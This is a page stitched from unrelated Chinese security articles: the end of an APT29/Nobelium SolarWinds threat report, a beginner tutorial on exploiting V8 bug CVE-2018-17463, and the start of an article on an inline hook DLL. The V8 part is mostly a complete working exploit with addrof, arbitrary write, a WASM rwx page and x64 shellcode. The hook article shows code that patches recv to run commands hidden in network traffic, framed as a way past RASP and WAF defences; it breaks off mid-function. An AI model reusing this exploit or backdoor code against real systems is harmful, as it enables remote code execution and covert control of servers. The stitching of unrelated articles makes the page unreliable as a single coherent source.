Defender提供的PC端数据支持，MSTIC关联到2021年多起鱼叉式网络攻击活动，该系列活动最早可以追溯到2018年12月份。MSTIC将包括Solarwinds供应链攻击在内的一系列攻击活动的幕后组织命名为Nobelium（译为锘’一种放射性金属元素’，采用微软系的化学元素命名法命名）。鉴于Nobelium特有武器库组件及关联攻击事件可以较好的与APT29早期的Dukes以及WellMess区分开来，我们采用Nobelium的命名对APT29的这一特有分支部分进行梳理总结。
Nobelium参与的Solarwinds供应链攻击事件属于极具代表性的软件构建平台失陷（即下图中的Compromise build
platform（D），参考Google安全团队发布的供应链攻击类型总结报告）类型的攻击。攻击者通过攻击Solarwinds供应商，渗入其Orion产品构建平台，监控劫持Orion的构建过程，动态替换源代码文件实现投毒。
图【14】 Google供应链攻击面总结
据CrowdStrike团队和Volexity团队披露信息，Nobelium疑似采用Microsoft Exchange
0day（根据Sunspot木马编译时间为2020年2月推测）漏洞渗入Solarwinds供应商产品构建系统，植入Sunspot木马。该木马劫持Orion软件编译过程、植入恶意代码，导致恶意的Sunburst后门被编译到Orion产品发布版本中。此后该携带后门的Orion软件将通过供应链渠道合法下发到用户环境，Nobelium借助Sunburst后门模块筛选有价值目标实施后续攻击行为。该供应链攻击流程图如下：
图【15】 Solarwinds供应链攻击流程示意图
Solarwinds
Orion产品构建过程中替换的恶意源代码SolarWinds.Orion.Core.BusinessLayer\BackgroundInventory\InventoryManager.cs在Sunburst后门组件中的反编译表现如下：
图【16】 Sunburst InventoryManager.cs反编译
Sunburst后门检测真实用户环境之后，动态解密ZIP+Base64存储的配置信息后，使用DGA域名算法组合多级域名前段部分生成C&C回连域名，然后进入RAT分发函数进行C&C交互。
图【17】 Sunburst ZIP+Base64编码C&C配置信息
图【18】 Sunburst RAT分发
Solarwinds供应链攻击事件披露之后，MSTIC、FireEye以及其他安全机构陆续披露了多个Nobelium攻击组件，包括Teardrop、Raindrop自定义的Cobalt
Strike加载器，Goldmax后门，GoldFinder
HTTP跟踪器工具，Sibot下载器以及早期的EnvyScout、BoomBox等dropper组件。对该系列组件的调查发现Nobelium发起的一系列鱼叉邮件攻击事件，攻击目标为美国智库、非营利组织、公共部门、石油和天然气、化学和酒店行业的教育机构和私营部门公司。
图【19】 引自MSTIC、Fire Eye，Nobelium鱼叉邮件
关注“微步在线研究响应中心”可及时了解《APT29—觊觎全球情报的国家级黑客组织》中、下篇精彩内容。 | 社区文章 |
# 通过一个CVE零基础入门V8-pwn
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
跟随P4nda大佬的博客：<http://p4nda.top/2019/06/11/%C2%96CVE-2018-17463/#Reference>
复现了CVE-2018-17463，在一些大佬懒得讲的地方加了一些理解和解释，比较新手向
## 环境
**commit:** 568979f4d891bafec875fab20f608ff9392f4f29
**v8环境搭建：**<https://zhuanlan.zhihu.com/p/159646912>
## 正文
漏洞存在于src/compiler/js-operator.cc:625
#define CACHED_OP_LIST(V)
... ...
V(CreateObject, Operator::kNoWrite, 1, 1)
... ...
问题是对JSCreateObject的操作存在误判，V8认为CreateObject不存在副作用,所以是kNoWrite，副作用就是指某个操作改变了某些全局变量或其他的系统状态等等。
但是实际上，在Turbofan的generic-lowering阶段，generic-lowering作用是将JS前缀指令转换为更简单的调用和stub调用。Turbofan把JSCreateObject节点用Builtins函数kCreateObjectWithoutProperties代替，而kCreateObjectWithoutProperties就是一个stub调用。
（这里一些源码就不放了，新手向新手向，想细看源码的可以移步大佬的博客）
如果一路跟进下去，在JSObject::NormalizeProperties函数中，可以发现该函数会调用Map::Normalize根据原有的map生成一个新的map，并且利用新的map重新构建输入的Object，这明显是一个具有side-effect的操作。
也就是说这个函数会改变我们传进去的参数object。然后看这句代码：
可以看到，新生成的map是字典模式的。所以最后我们输入的object即便原来是fast模式，也会变成字典模式。所以JSCreate并不是KNoWrite的。
KNoWrite是一个枚举类型的标志：
那么我们如何实现JSCreate操作呢，这里可以通过Object.create触发
其函数定义为：
`Object.create(proto, [propertiesObject])`
第二个参数是可选的，如果写了就会把它加入到新创建的对象的可枚举属性中。然后第一个参数是作为新创建的对象的原型，这也就满足了上面说的一个对象作为另一个对象的原型的条件。
接下来我们用d8去调一下试试：
首先我们声明一个对象：
可以看到此时a是fast模式，然后我们执行Object.create(a)试试：
可以看到，我们只是将a当做一个参数去调用了一个函数，a本身的模式就被改变了。
现在我们只知道a的模式被改变了，那么对应到具体的内存中又发生了哪些变化呢，我们用gdb调进去看看：
先放调试的js代码：
var a={x:1,y:2,z:3};
a.b=4;
a.c=5;
a.d=6;
%DebugPrint(a);
%SystemBreak();
Object.create(a);
%DebugPrint(a);
%SystemBreak();
我们首先来到第一个断点：
这是a的结构，有六个属性，其中有三个标志为properties，还有三个我们可以通过查看object的map：
发现是inobject properties，也就是保存在结构体内部的属性。
我们可以直接查看a所在的内存：
可以发现，第一个八字节，存的是object对应的map，第二个八字节：
可以看到里面存放了我们后来添加进去的三个属性，并且是按顺序存储。
然后我们看进入到第二个断点处：
可以看到a的map已经变成了字典模式，符合我们上面对它进行的分析。
然后我们查看a的内存：
我们发现x,y,z的属性值不见了，我们再去查看properties：
发现长度变成了6，并且结构变成了hashtable，也就是哈希表。
到了这里，我们发现，Object.create对一个Object的影响，无论原来的属性是inobject
properties还是properties，都搞到properties中，并且把原来的线性结构改成hash表的字典结构。
现在我们已经知道了这个side-effect，那么我们如何利用它呢？
首先我们看一个函数：
function foo(o) { return o.a + o.b; }
其IR code 如下：
CheckHeapObject o
CheckMap o, map1
r0 = Load [o + 0x18]
CheckHeapObject o
CheckMap o, map1
r1 = Load [o + 0x20]
r2 = Add r0, r1
CheckNoOverflow
Return r2
大意就是检查map，赋值，检查map，赋值，相加，检查溢出，返回
当两个检查节点中间的操作是kNoWrite时，第二个检查就变成了多余的，所以我们可以先访问一个对象的内部属性，然后调用Object.create(),由于JS引擎默认这个操作是kNoWrite的，所以可能会导致我们再访问变量的时候不检查了。具体利用方法为：
首先定义一个数组，初始化一个a属性，然后再额外添加一个b属性，然后利用Object.create(数组),改变其内部存储，然后返回b属性。
function attack()
{
function change(x)
{
x.a;
Object.create(x);
return x.b;
}
for(let i =0;i<10000;i++)
{
let x={a:0x1234};
x.b=0x5678;
let res=change(x);
if(res!=0x5678)
{
console.log(i);
console.log("CVE-2018-17463 exists in the d8");
return;
}
}
console.log("no cve")
}
attack()
把这段代码扔d8里跑一下：
可以看到确实触发了漏洞
由于它是由顺序表变成了哈希表，具有一定的随机性，每个属性的偏移位置是不固定的，这给我们的稳定利用带来了难度，但是我们又发现了一个规律：
当我们对两个属性名相同的对象进行上面的操作时，相同的属性名所在的偏移是相同的，尽管他们的属性值不同。
接下来就到了比较难懂的地方了，我们抓住相同的属性名偏移相同这一特点，以及V8会有一定可能因为认为Object.create的操作是kNoWrite的而放弃第二次检查这两个特点，去构造一个冲突，什么冲突呢，属性名偏移冲突。
我们先来看代码：
let OPTIMIZATION_NUM = 10000
let OBJ_LEN = 0x30
function getOBJ(){
let res = {a:0x1234};
for (let i = 0; i< OBJ_LEN;i++){
eval(`res.${'b'+i} = -${0x4869 + i};
`);
}
return res;
}
function findCollision(){
let find_obj = [];
for (let i = 0;i<OBJ_LEN;i++){
find_obj[i] = 'b'+i;
}
eval(`
function bad_create(x){
x.a;
this.Object.create(x);
${find_obj.map((b) => `let ${b} = x.${b};`).join('\n')}
return [${find_obj.join(', ')}];
}
`);
for (let i = 0; i<OPTIMIZATION_NUM;i++){
let tmp = bad_create(getOBJ());
for (let j = 0 ;j<tmp.length;j++){
if(tmp[j] != -(j+0x4869) && tmp[j] < -0x4868 && tmp[j] > -(1+OBJ_LEN +0x4869) ){
console.log('b'+ j +' & b' + -(tmp[j]+0x4869) +" are collision in directory");
//return ['b'+j , 'b' + -(tmp[j]+0x4869)];
}
}
}
throw "not found collision ";
}
findCollision();
由于本人是刚学V8两天的小白，仅仅这段代码就看了足足一个小时，还好最后也是看懂了，这里来讲讲它做了什么：
可以这样理解，我们先搞出来一个对象，赋一些属性上去，这里注意，一定要是有规律的赋，怎么算有规律呢，我们需要能够做到通过属性名知道属性值，并且能够通过属性值知道属性名，这里可以采用字母+编号的方式。比如b12=120；b13=121;b14=122这种方式，让其对应上。
做以上操作的时候代码中运用了模板字符串啊，eval等这些函数，以前也没怎么接触过js，确实是蒙了一小会，不过多百度百度也就懂了。
然后仿照上面我们判断引擎是否存在cve漏洞的方法，通过判断返回值是否符合预期我们就可以知道是否触发了漏洞，然后这里多了一个操作，如果不符合预期的话，那它应该是给我们返回了一个其他属性的值，什么值呢，这里就需要依靠之前设定的规律来找到，找到发生冲突的属性，假设是我们预期的返回值是A的，但是返回了B的属性值，说明漏洞发生了，数据内存结构被改变了。也就是说当我访问B的时候，它会给我B的属性值，当我访问A的时候，它还会给我B的属性值。
为什么这样就可以利用了呢？
我们上面已经发现了，相同的属性名，偏移不变，所以如果我们新建一个object，然后添加两个属性，名字就叫A和B，此时我去访问A，就可以得到B的数据了，如果B中存了object类型的数据，那么我正常通过B去访问，引擎检测到我要打印object的话，它会显示类型名，即object，如果A中本来存了浮点型的数据，这样打印的时候，会把对应偏移的数据当成浮点型来打印，也就是会打印真值，而对应偏移的数据其实是B的object的地址，这样就拿到了addrof原语。
我们来看一下实现代码：
o.X = {x1:1.1,x2:1.2}; o.Y = {y1:obj};
function bad_create(o){ o.a; this.Object.create(o); return o.X.x1;}
这样的话看似返回的应该是1.1，但是实际上返回的是浮点型的object的地址，我们做一下浮点转换即可。
有了addrof原语，我们还需要能够做到任意地址读写，这里借用了ArrayBuffer这一数据结构。我们先来看一下ArrayBuffer的结构长啥样：
pwndbg> v8print 0x1d4b8ef8e1a9
0x1d4b8ef8e1a9: [JSArrayBuffer]
- map: 0x350743c04371 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x29b14b610fd1 <Object map = 0x350743c043c1>
- elements: 0x236c6c482cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x5652a87208f0
- byte_length: 1024
- neuterable
- properties: 0x236c6c482cf1 <FixedArray[0]> {}
- embedder fields = {
(nil)
(nil)
}
其长度由byte_length指定，而实际读写的内存位于backing_store，当可以修改一个ArrayBuffer的backing_store时就可以对任意地址进行读写。而此成员在结构体中的偏移是0x20
也就是说我们需要构造一个往偏移+0x20处写的操作就可以控制ArrayBuffer读写哪里的内存。
然后我们来研究一下fast模式下的内存结构，我们先看这段代码执行的结果：
var a={x0:0x41414141};
%DebugPrint(a);
%SystemBreak();
可以看到第一个属性值出现在了偏移为0x18的位置
那么如果换成这种嵌套的写法呢：
var a={x0:{x1:1.1,x2:1.2}};
%DebugPrint(a);
%SystemBreak();
我们再来看一下：
我们会发现，0x18存的是0x20处的地址，然后0x20是一个新的对象的起始地址，然后1.2存在了0x20偏移0x20的地方，那么结合之前的漏洞，我们可以知道，当我们去修改X.x0.x2的时候，就是在修改Y.object偏移0x20位置的值了。
也就是说我们有了任意写了，那么如何任意读呢，由于我们是利用ArrayBuffer来进行的任意地址写，读肯定也要借助它，这里用了DataView:
它可以方便的读取ArrayBuffer里的数据。
最后一个问题，我们有了任意地址读写，我们应该考虑的是往一个rwx的区域写shellcode，然后去执行，我们往哪里写呢？
利用的是wasm机制，这里给出一个wasm的实例构造：
var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,0,1,127,96,1,127,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,1,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,112,52,110,100,97,0,1,10,145,128,128,128,0,1,139,128,128,128,0,1,1,127,65,16,16,0,26,32,0,11,11,150,128,128,128,0,1,0,65,16,11,16,72,97,99,107,101,100,32,98,121,32,80,52,110,100,97,0]);
var wasmImports = {
env: {
puts: function puts (index) {
console.log(utf8ToString(h, index));
}
}
};
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
let h = new Uint8Array(m.exports.memory.buffer);
let f = m.exports.p4nda;
f();
其中，f是一个JSFunction对象，只不过其实际执行代码存放于一个rwx的内存中，通过写该内存的代码区域，最终调用f()，触发来执行shellcode。
首先，构造wasm对象f方便shellcode执行，并利用addrof原语泄露f的地址。然后，定义一个ArrayBuffer对象，并利用gc机制使其被放入Old
Space使地址更加稳定。之后，不断的利用该ArrayBuffer对象，泄露并修改其backing_store成员指向待读写区域，具体修改顺序为从JSFucntion到rwx区域的寻址流程：
`JSFucntion -(0x18)->SharedFunctionInfo -(0x8)-> WasmExportedFunctionData
-(0x10)-> WasmInstanceObject -(0xc8)-> imported_function_targets -(0)->
rwx_area`
我们通过一串调用链一路读下去，读到一个，写到ArrayBuffer的backing_store中，然后接着读指定偏移的数据，再写过去，一直做到我们得到rwx地址，然后往rwx里面写好shellcode，最后调用f()触发即可。
有关wasm机制可以通过这篇文章进行一个初步的了解：<https://www.cnblogs.com/jixiaohua/p/10425805.html>
到这里所有的攻击原理已经了解清楚了，这里放一下大佬的exp，我这小垃圾自己写肯定是写不来的了，不过至少大佬的exp已经基本弄懂了。
function gc()
{
/*fill-up the 1MB semi-space page, force V8 to scavenge NewSpace.*/
for(var i=0;i<((1024 * 1024)/0x10);i++)
{
var a= new String();
}
}
function give_me_a_clean_newspace()
{
/*force V8 to scavenge NewSpace twice to get a clean NewSpace.*/
gc()
gc()
}
let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64;
}
function hex(b) {
return ('0' + b.toString(16)).substr(-2);
}
// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
var res = [];
for (var i = 0; i < bytes.length; i++)
res.push(hex(bytes[i]));
return res.join('');
}
// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
if (hexstr.length % 2 == 1)
throw new TypeError("Invalid hex string");
var bytes = new Uint8Array(hexstr.length / 2);
for (var i = 0; i < hexstr.length; i += 2)
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
return bytes;
}
function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);
var lines = [];
for (var i = 0; i < data.length; i += 16) {
var chunk = data.slice(i, i+16);
var parts = chunk.map(hex);
if (parts.length > 8)
parts.splice(8, 0, ' ');
lines.push(parts.join(' '));
}
return lines.join('\n');
}
// Simplified version of the similarly named python module.
var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var uint32View = new Uint32Array(buffer);
var float64View = new Float64Array(buffer);
return {
pack: function(type, value) {
var view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},
unpack: function(type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");
var view = type; // See below
byteView.set(bytes);
return view[0];
},
// Available types.
int8: byteView,
int32: uint32View,
float64: float64View
};
})();
//
// Tiny module that provides big (64bit) integers.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js
//
// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
// The underlying byte array.
var bytes = new Uint8Array(8);
switch (typeof v) {
case 'number':
v = '0x' + Math.floor(v).toString(16);
case 'string':
if (v.startsWith('0x'))
v = v.substr(2);
if (v.length % 2 == 1)
v = '0' + v;
var bigEndian = unhexlify(v, 8);
bytes.set(Array.from(bigEndian).reverse());
break;
case 'object':
if (v instanceof Int64) {
bytes.set(v.bytes());
} else {
if (v.length != 8)
throw TypeError("Array must have excactly 8 elements.");
bytes.set(v);
}
break;
case 'undefined':
break;
default:
throw TypeError("Int64 constructor requires an argument.");
}
// Return a double whith the same underlying bit representation.
this.asDouble = function() {
// Check for NaN
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes);
};
// Return a javascript value with the same underlying bit representation.
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
// due to double conversion constraints.
this.asJSValue = function() {
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
throw new RangeError("Integer can not be represented by a JSValue");
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
this.assignSub(this, 0x1000000000000);
var res = Struct.unpack(Struct.float64, bytes);
this.assignAdd(this, 0x1000000000000);
return res;
};
// Return the underlying bytes of this number as array.
this.bytes = function() {
return Array.from(bytes);
};
// Return the byte at the given index.
this.byteAt = function(i) {
return bytes[i];
};
// Return the value of this number as unsigned hex string.
this.toString = function() {
return '0x' + hexlify(Array.from(bytes).reverse());
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
// Decorator for Int64 instance operations. Takes care
// of converting arguments to Int64 instances if required.
function operation(f, nargs) {
return function() {
if (arguments.length != nargs)
throw Error("Not enough arguments for function " + f.name);
for (var i = 0; i < arguments.length; i++)
if (!(arguments[i] instanceof Int64))
arguments[i] = new Int64(arguments[i]);
return f.apply(this, arguments);
};
}
// this = -n (two's complement)
this.assignNeg = operation(function neg(n) {
for (var i = 0; i < 8; i++)
bytes[i] = ~n.byteAt(i);
return this.assignAdd(this, Int64.One);
}, 1);
// this = a + b
this.assignAdd = operation(function add(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) + b.byteAt(i) + carry;
carry = cur > 0xff | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a - b
this.assignSub = operation(function sub(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) - b.byteAt(i) - carry;
carry = cur < 0 | 0;
bytes[i] = cur;
}
return this;
}, 2);
}
// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
var bytes = Struct.pack(Struct.float64, d);
return new Int64(bytes);
};
// Convenience functions. These allocate a new Int64 to hold the result.
// Return -n (two's complement)
function Neg(n) {
return (new Int64()).assignNeg(n);
}
// Return a + b
function Add(a, b) {
return (new Int64()).assignAdd(a, b);
}
// Return a - b
function Sub(a, b) {
return (new Int64()).assignSub(a, b);
}
// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);
function utf8ToString(h, p) {
let s = "";
for (i = p; h[i]; i++) {
s += String.fromCharCode(h[i]);
}
return s;
}
function log(x,y = ' '){
console.log("[+] log:", x,y);
}
let OPTIMIZATION_NUM = 10000;
let OBJ_LEN = 0x20;
let X;
let Y;
// use a obj to check whether CVE-2018-17463 exists
function check_vul(){
function bad_create(x){
x.a;
Object.create(x);
return x.b;
}
for (let i = 0;i < OPTIMIZATION_NUM; i++){
let x = {a : 0x1234};
x.b = 0x5678;
let res = bad_create(x);
//log(res);
if( res != 0x5678){
log("CVE-2018-17463 exists in the d8");
return;
}
}
throw "bad d8 version";
}
// check collision between directory mode and fast mode
function getOBJ(){
let res = {a:0x1234};
for (let i = 0; i< OBJ_LEN;i++){
eval(`res.${'b'+i} = -${0x4869 + i};
`);
}
return res;
}
function printOBJ(x){
for(let i = 0;i<OBJ_LEN;i++){
eval(`console.log("log:["+${i}+"] :"+x.${'b'+i})`);
//console.log('['+i+']'+x[i]);
}
}
function findCollision(){
let find_obj = [];
for (let i = 0;i<OBJ_LEN;i++){
find_obj[i] = 'b'+i;
}
eval(`
function bad_create(x){
x.a;
this.Object.create(x);
${find_obj.map((b) => `let ${b} = x.${b};`).join('\n')}
return [${find_obj.join(', ')}];
}
`);
for (let i = 0; i<OPTIMIZATION_NUM;i++){
let tmp = bad_create(getOBJ());
for (let j = 0 ;j<tmp.length;j++){
if(tmp[j] != -(j+0x4869) && tmp[j] < -0x4868 && tmp[j] > -(1+OBJ_LEN +0x4869) ){
log('b'+ j +' & b' + -(tmp[j]+0x4869) +" are collision in directory");
return ['b'+j , 'b' + -(tmp[j]+0x4869)];
}
}
}
throw "not found collision ";
}
// create primitive -> addrof
function getOBJ4addr(obj){
let res = {a:0x1234};
for (let i = 0; i< OBJ_LEN;i++){
if (('b'+i)!= X &&('b'+i)!= Y ){
eval(`res.${'b'+i} = 1.1;
`); }
if (('b'+i)== X){
eval(`
res.${X} = {x1:1.1,x2:1.2};
`);
}
if (('b'+i)== Y){
eval(`
res.${Y} = {y1:obj};
`);
}
}
return res;
}
function addrof(obj){
eval(`
function bad_create(o){
o.a;
this.Object.create(o);
return o.${X}.x1;
}
`);
for (let i = 0;i < OPTIMIZATION_NUM;i++){
let ret = bad_create( getOBJ4addr(obj));
let tmp =Int64.fromDouble(ret).toString();
if (ret!= 1.1){
log(tmp);
return ret;
}
}
throw "not found addrof obj";
}
// create primitive -> Arbitrary write
function getOBJ4read(obj){
let res = {a:0x1234};
for (let i = 0; i< OBJ_LEN;i++){
if (('b'+i)!= X &&('b'+i)!= Y ){
eval(`res.${'b'+i} = {};
`); }
if (('b'+i)== X){
eval(`
res.${X} = {x0:{x1:1.1,x2:1.2}};
`);
}
if (('b'+i)== Y){
eval(`
res.${Y} = {y1:obj};
`);
}
}
return res;
}
function arbitraryWrite(obj,addr){
eval(`
function bad_create(o,value){
o.a;
this.Object.create(o);
let ret = o.${X}.x0.x2;
o.${X}.x0.x2 = value;
return ret;
}
`);
for (let i = 0;i < OPTIMIZATION_NUM;i++){
let ret = bad_create( getOBJ4read(obj),addr);
let tmp =Int64.fromDouble(ret).toString();
if (ret!= 1.2){
return ;
}
}
throw "not found arbitraryWrite";
}
// exploit
function exploit(){
var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,0,1,127,96,1,127,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,1,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,112,52,110,100,97,0,1,10,145,128,128,128,0,1,139,128,128,128,0,1,1,127,65,16,16,0,26,32,0,11,11,150,128,128,128,0,1,0,65,16,11,16,72,97,99,107,101,100,32,98,121,32,80,52,110,100,97,0]);
var wasmImports = {
env: {
puts: function puts (index) {
console.log(utf8ToString(h, index));
}
}
};
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
let h = new Uint8Array(m.exports.memory.buffer);
let f = m.exports.p4nda;
console.log("step 0: Game start");
f();
console.log("step 1: check whether vulnerability exists");
check_vul();
console.log("step 2: find collision");
[X,Y] = findCollision();
let mem = new ArrayBuffer(1024);
give_me_a_clean_newspace();
console.log("step 3: get address of JSFunciton");
let addr = addrof(f);
console.log("step 4: make ArrayBuffer's backing_store -> JSFunciton");
arbitraryWrite(mem,addr);
let dv = new DataView(mem);
SharedFunctionInfo_addr = Int64.fromDouble(dv.getFloat64(0x17,true));
console.log("[+] SharedFunctionInfo addr :"+SharedFunctionInfo_addr);
console.log("step 5: make ArrayBuffer's backing_store -> SharedFunctionInfo");
arbitraryWrite(mem,SharedFunctionInfo_addr.asDouble());
WasmExportedFunctionData_addr = Int64.fromDouble(dv.getFloat64(0x7,true));
console.log("[+] WasmExportedFunctionData addr :"+WasmExportedFunctionData_addr);
console.log("step 6: make ArrayBuffer's backing_store -> WasmExportedFunctionData");
arbitraryWrite(mem,WasmExportedFunctionData_addr.asDouble());
WasmInstanceObject_addr = Int64.fromDouble(dv.getFloat64(0xf,true));
console.log("[+] WasmInstanceObject addr :"+WasmInstanceObject_addr);
console.log("step 7: make ArrayBuffer's backing_store -> WasmInstanceObject");
arbitraryWrite(mem,WasmInstanceObject_addr.asDouble());
imported_function_targets_addr = Int64.fromDouble(dv.getFloat64(0xc7,true));
console.log("[+] imported_function_targets addr :"+imported_function_targets_addr);
console.log("step 8: make ArrayBuffer's backing_store -> imported_function_targets");
arbitraryWrite(mem,imported_function_targets_addr.asDouble());
code_addr = Int64.fromDouble(dv.getFloat64(0,true));
console.log("[+] code addr :"+code_addr);
log("step 9: make ArrayBuffer's backing_store -> rwx_area");
arbitraryWrite(mem,code_addr.asDouble());
console.log("step 10: write shellcode for poping up a calculator");
let shellcode_calc = [72, 49, 201, 72, 129, 233, 247, 255, 255, 255, 72, 141, 5, 239, 255, 255, 255, 72, 187, 124, 199, 145, 218, 201, 186, 175, 93, 72, 49, 88, 39, 72, 45, 248, 255, 255, 255, 226, 244, 22, 252, 201, 67, 129, 1, 128, 63, 21, 169, 190, 169, 161, 186, 252, 21, 245, 32, 249, 247, 170, 186, 175, 21, 245, 33, 195, 50, 211, 186, 175, 93, 25, 191, 225, 181, 187, 206, 143, 25, 53, 148, 193, 150, 136, 227, 146, 103, 76, 233, 161, 225, 177, 217, 206, 49, 31, 199, 199, 141, 129, 51, 73, 82, 121, 199, 145, 218, 201, 186, 175, 93];
let write_tmp = new Uint8Array(mem);
write_tmp.set(shellcode_calc);
console.log("[+] Press Any key to execute Shellcode");
readline();
f();
}
exploit();
然后我们来具体打一下看看效果：
计算器确实被丢出来了，拜拜~ | 社区文章 |
> 标题中的 “通用” 指跨语言，本文的实现是基于 Windows 的，需要 Linux 的可以参考本文的思路，实现起来并没有太大区别。
>
> Author: [Jayl1n@Syclover](https://jayl1n.github.io)
# 原理
Windows 上程序涉及网络 socket 操作，一般都会用到 winsock2 的库，程序会动态链接 `ws2_32.dll`
，JVM，Python，Zend 等解释器都不例外。
winsock2 里 socket 操作相关的函数 `recv` `send` `closesocket` 会编程的应该都不陌生。 **hook
掉`recv` 函数就可以在程序处理接受到网络数据前，进入我们的处理逻辑早一步收到数据。**
由于实现是 native 的，所以在成功 hook 的情况下能绕过现代的 RASP、IAST、云WAF 等现代流行的防护技术。
# Inline Hook
Inline Hook 是在程序运行时直接修改指令，插入跳转指令（jmp/call/retn）来控制程序执行流的一种技术。相比别的 Hook
技术，Inline Hook 优点是能跨平台，稳定，本文是以此技术实现的。
# 实现
具体实现分为两个部分，一个是hook函数的 DLL(只讲这个)；另一个是向进程注入 DLL 的辅助工具(github上有很多)。
## InstallHook
安装钩子
#define START_BLOCK "#CMD0#"
#define END_BLOCK "#CMD1#"
DWORD dwInstSize = 12;
BYTE RecvEntryPointInst[12] = { 0x00 };
BYTE RecvEntryPointInstHook[12] = { 0x48, 0xB8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xFF, 0xE0 };
BYTE WSARecvEntryPointInst[12] = { 0x00 };
BYTE WSARecvEntryPointInstHook[12] = { 0x48, 0xB8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xFF, 0xE0 };
typedef int ( *PFNRecv )( SOCKET, char*, int, int );
typedef int ( *PFNSend )( SOCKET, char*, int, int );
typedef int ( *PFNWSARecv ) ( SOCKET, LPWSABUF, DWORD, LPDWORD, LPDWORD, LPWSAOVERLAPPED, LPWSAOVERLAPPED_COMPLETION_ROUTINE );
typedef int ( *PFNWSASend ) ( SOCKET, LPWSABUF, DWORD, LPDWORD, LPDWORD, LPWSAOVERLAPPED, LPWSAOVERLAPPED_COMPLETION_ROUTINE );
void InstallHook(LPCWSTR lpModule, LPCSTR lpFuncName, LPVOID lpFunction) {
DWORD_PTR FuncAddress = (UINT64) GetProcAddress(GetModuleHandleW(lpModule), lpFuncName);
DWORD OldProtect = 0;
if(VirtualProtect((LPVOID) FuncAddress, dwInstSize, PAGE_EXECUTE_READWRITE, &OldProtect))
{
if(!strcmp(lpFuncName, "recv")) {
memcpy(RecvEntryPointInst, (LPVOID) FuncAddress, dwInstSize);
*(PINT64) ( RecvEntryPointInstHook + 2 ) = (UINT64) lpFunction;
}
if(!strcmp(lpFuncName, "WSARecv")) {
memcpy(WSARecvEntryPointInst, (LPVOID) FuncAddress, dwInstSize);
*(PINT64) ( WSARecvEntryPointInstHook + 2 ) = (UINT64) lpFunction;
}
}
if(!strcmp(lpFuncName, "recv"))
memcpy((LPVOID) FuncAddress, &RecvEntryPointInstHook, sizeof(RecvEntryPointInstHook));
if(!strcmp(lpFuncName,"WSARecv"))
memcpy((LPVOID) FuncAddress, &WSARecvEntryPointInstHook, sizeof(WSARecvEntryPointInstHook));
VirtualProtect((LPVOID) FuncAddress, dwInstSize, OldProtect, &OldProtect);
}
## UninstallHook
卸载钩子
void UninstallHook(LPCWSTR lpModule, LPCSTR lpFuncName) {
UINT64 FuncAddress = (UINT64) GetProcAddress(GetModuleHandleW(lpModule), lpFuncName);
DWORD OldProtect = 0;
if(VirtualProtect((LPVOID) FuncAddress, dwInstSize, PAGE_EXECUTE_READWRITE, &OldProtect))
{
if(!strcmp(lpFuncName, "recv"))
memcpy((LPVOID) FuncAddress, RecvEntryPointInst, sizeof(RecvEntryPointInst));
if(!strcmp(lpFuncName,"WSARecv"))
memcpy((LPVOID) FuncAddress, WSARecvEntryPointInst, sizeof(WSARecvEntryPointInst));
}
VirtualProtect((LPVOID) FuncAddress, dwInstSize, OldProtect, &OldProtect);
}
## HookRecv
hook recv 的函数，程序在执行 recv 时，会先进入这个函数。
在这个函数里，调用原来的 recv 获取数据，判断是否有`START_BLOCK`、`END_BLOCK`块，有的话就取出块之间的命令，执行。
int WINAPI HookRecv(SOCKET s, char* buf, int len, int flags) {
UninstallHook(L"ws2_32.dll", "recv");
PFNRecv pfnRecv = (PFNRecv) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "recv");
